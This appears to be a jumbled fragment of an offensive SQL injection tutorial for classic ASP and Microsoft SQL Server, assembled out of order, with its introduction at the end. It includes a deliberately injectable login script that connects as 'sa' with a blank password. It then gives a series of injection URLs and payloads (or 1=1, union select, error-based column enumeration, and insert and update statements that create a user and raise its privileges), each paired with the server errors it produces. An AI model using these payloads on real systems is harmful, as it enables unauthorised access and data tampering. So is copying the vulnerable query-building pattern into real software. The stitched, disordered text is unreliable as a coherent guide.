Microsoft OLE DB Provider for SQL Server  error '80040e14'

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

/noticias_detalle.asp, line 63

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'F_CTexto_1.CTe_Titulo' is invalid in the select list becouse it is not contained in either an
agregate  function on the GROUP BY clause.
/visualizaciones/ctexto.asp,line 17

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'F_CTexto_1.CTe_Titulo' is invalid in the select list becouse it is not contained in either an
agregate  function on the GROUP BY clause.
/visualizaciones/ctexto.asp,line 17

Tabla: F_CTexto_1
Columna : CTe_Titulo

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'F_CTexto_1.IdCTexto' is invalid in the select list becouse it is not contained in either an
agregate  function on the GROUP BY clause.
/visualizaciones/ctexto.asp,line 17

Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'F_CTexto_1.CTe_Descripcion' is invalid in the select list becouse it is not contained in either an agregate  function on the GROUP BY clause.
/visualizaciones/ctexto.asp,line 17

DETECTION OF SQL INJECTION VULNERABILITIES
RETRIEVING RESULTS FROM SQL INJECTION
ELEVATING PRIVILEGES
UPLOADING FILES
GETTING INTO THE INTERNAL NETWORK
PORT SCANNING

<%@ LANGUAGE="VBSCRIPT" %>
<%
Dim oCONv, oRSu
Set oCONv = Server.CreateObject("ADODB.Connection")
oCONv.Open "DRIVER={SQL Server};SERVER=aeneas;UID=sa;PWD=;DATABASE=paper"


Set oRSu = oCONv.Execute("SELECT * FROM tblUsers WHERE username = '" & Request.Querystring("UserID") & "' AND password = '" & Request.Querystring("Password") & "'") 
if not oRSu.EOF then
       Session("UserID") = oRSu ("username")
           Response.Redirect "loginsucceeded.asp"      
   else
           Response.Redirect "loginfailed.asp"
   end if

%>

http://server/login.asp?userid='%20or%201=1--

SELECT * FROM tblUsers WHERE username = 'foo' AND password = 'bar'

SELECT * FROM tblUsers WHERE username = '' or 1=1--

<%
Dim oCONv, oRSu
Set oCONv = Server.CreateObject("ADODB.Connection")
oCONv.Open "DRIVER={SQL Server};SERVER=aeneas;UID=sa;PWD=;DATABASE=paper"


Set oRSu = oCONv.Execute("SELECT * FROM tblUsers WHERE username = '" & Request.Querystring("UserID") & "' AND password = '" & Request.Querystring("Password") & "'") 
if not oRSu.EOF then
	Session("UserID") = oRSu ("username")
      	Set oRSu = oCONv.Execute("exec sp_audit '" & Request.Querystring("UserID") & "'")

           Response.Redirect "loginsucceeded.asp"      
   else
           Response.Redirect "loginfailed.asp"
   end if

%>

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'. 
/login.asp, line 11

http://127.0.0.1/login.asp?userid=aaa'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string 'aaa' AND password = ''. 
/login.asp, line 7

http://127.0.0.1/login.asp?userid=ddd'%20group%20by%20(password)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tblUsers.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 
/login.asp, line 7

http://127.0.0.1/login.asp?userid=aaa'%20group%20by%20(username)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tblUsers.lastloggedin' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 
/login.asp, line 7

http://127.0.0.1/login.asp?userid=aaa'%20union%20select%20username%20from%20tblusers--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. 
/login.asp, line 7

http://127.0.0.1/login.asp?userid=aaa'%20union%20select%20username,username%20from%20tblusers--

http://127.0.0.1/login.asp?userid=aaa'%20compute%20sum(username)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a nvarchar data type as an argument. 
/login.asp, line 7

http://127.0.0.1/login.asp?userid=aaa' insert into tblusers(username,password,lastloggedin,status) values ('jsmith','secret','Oct 31 2000  8:52PM','foo')--

http://127.0.0.1/login.asp?userid=aaa' UPDATE tblusers SET status = (select min(status) from tblusers) where username = 'jsmith'

Quote

If you are going to read this paper, chances are that you have already read the common SQL injection tutorial which has you licking your lips and ready to learn the new skill and then abruptly ends before you learn how to apply your new found knowledge. Also, you have probably had to spend at least a fortnight trying to decipher what the author was saying because they don't: (a) speak fluent English (please excuse my cultural non-diversity as I only know one language well enough in which to read or write tutorials), (b) know how to spell correctly (without the use of spell check of course) or (c) understand how to explain something without ending up with an amount of literature that could easily fill the average dictionary. Fortunately, this tutorial is uncommon. I promise to speak English good, type werds correctly, and make sure to keep it simple as to avoid the need for an index, glossary, or appendix. This paper will include all that you need to know, from start to finish. It will not be necessary to read twenty other ridiculously specific tutorials and combine their information in order to understand what will be said here. By this point in my rant I have probably lost your interest to the juicy information that awaits you, so get started!